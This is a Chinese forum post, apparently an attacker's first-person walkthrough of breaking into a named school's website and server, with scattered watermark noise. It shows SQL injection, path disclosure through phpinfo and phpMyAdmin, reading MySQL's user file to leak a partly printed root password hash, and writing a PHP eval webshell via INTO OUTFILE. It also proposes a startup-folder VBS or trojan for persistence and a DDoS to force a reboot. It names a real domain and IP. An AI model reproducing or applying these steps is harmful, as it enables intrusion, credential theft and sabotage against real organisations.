友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
+ ?$ B9 g2 \' G" ~6 \, v发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！


7 V* f5 \( R9 m- K% H- p6 r
常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

0 H3 q& z8 |* O& o! S那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF

试着爆绝对路径：
" G  s3 _4 |9 o0 T+ S3 Y2 P1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
' U- O. z5 s$ @: V/ d9 D* E( S. x6 w5./phpmyadmin/libraries/select_lang.lib.php  
6./phpmyadmin/libraries/lect_lang.lib.php  
5 G; p/ _9 @6 l5 b) E  @! ]! A$ i7./phpmyadmin/libraries/mcrypt.lib.php   
8./phpmyadmin/libraries/export/xls.php  
9 Q" c/ n. w6 U% V
均不行...........................
# x% {5 Q+ Z+ ]4 S- r1 R4 m- M
* F+ a5 z. N6 h御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
2 K' q, q$ R% c) E& S' E* m
权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

8 U! t% [& b# W, }9 V默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

  ]$ f9 {& z( K敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

- y4 m6 d. R5 c& x! r1 z  P. V7 g4 N& Jhttp://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD

成功读到root密码：

17---- r(0072)
; O" Y! s! K* V, y3 E- u18---- o(006f)
19---- o(006f)
$ A( K$ ]. X1 s4 q% c; N6 m0 V+ I20---- t(0074)
21---- *(002a)
22---- 8(0038)
- _: t5 a4 V6 |& O4 i6 k& b23---- 2(0032)
24---- E(0045)
25---- 1(0031)
3 x8 _7 ^6 _9 X% g! ]5 M9 D7 Y26---- C(0043)
27---- 5(0035)
* ], N# C1 z1 ?0 v3 Y& c: K  V( m28---- 8(0038)
29---- 2(0032)
30---- 8(0038)
8 Z' k- t) X7 B, F9 a4 L+ P31---- A(0041)
( ]1 P6 R, g/ j. U32---- 9(0039)
33---- B(0042)
' W: h' B4 w, R, ?9 T. G! C- m34---- 5(0035)
35---- 4(0034)
. `6 V* \9 M" c8 {36---- 8(0038)
2 v6 Y, r1 }7 b% e: [2 I37---- 6(0036)
38---- 4(0034)
39---- 9(0039)
* O$ b# o, S' t) E4 }# {, N8 S40---- 1(0031)
41---- 1(0031)
42---- 5(0035)
  k( d9 C4 d% u: Z* C* X7 d43---- 3(0033)
44---- 5(0035)
7 O) V2 e5 \$ y45---- 9(0039)
46---- 8(0038)
47---- F(0046)
48---- F(0046)
49---- 4(0034)
4 x$ x7 D" A; X( y50---- F(0046)
51---- 0(0030)
52---- 3(0033)
$ k: c) E1 r0 F- p" Q53---- 2(0032)
- ?% g& l5 X* L54---- A(0041)
* u( M# r) T" b* ^" j55---- 4(0034)
56---- A(0041)
57---- B(0042)
; d9 P2 s' v, R58---- *(0044)
59---- *(0035)
# ~" A2 G. t9 t  I  c8 o9 C0 h$ ]60---- *(0041)
61---- *0032)

- l9 E6 c( v3 ~& O& A5 R2 s5 D$ j解密后成功登陆phpmyamin
8 V/ I+ k  T% U6 X# J; B) p' P4 D                          
* q. X5 N. ?/ I# K' W; _
* O! v) v+ j! \7 L9 r- w# U6 o3 i                             
7 ?% q* T0 p* O. Z9 \, p
2 `1 O" A" H$ y: P找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
# u0 E$ o+ X9 ^% x8 V1 j8 T& d
" ?" W$ c. Y- M- B& r1 _成功执行，拿下shell，菜刀连接：

服务器不支持asp,aspx,php提权无果...................

但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
1 s, S4 R; T7 ]( V

服务器上已经有个隐藏帐号了

; }5 z! \: M& c# @/ N5 {! S$ t

别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

成员

. T7 W; ^3 w; E% w# S1 [

-------------------------------------------------------------------------------
) t) \5 J/ C3 P& X6 Padmin
Administrator
slipper$
sqluser
命令成功完成。

服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
$ m* n; D/ Q; k7 v* d
ddos服务器重启，不然就只能坐等服务器重启了...............................

      

8 q# N! u8 j  s

angel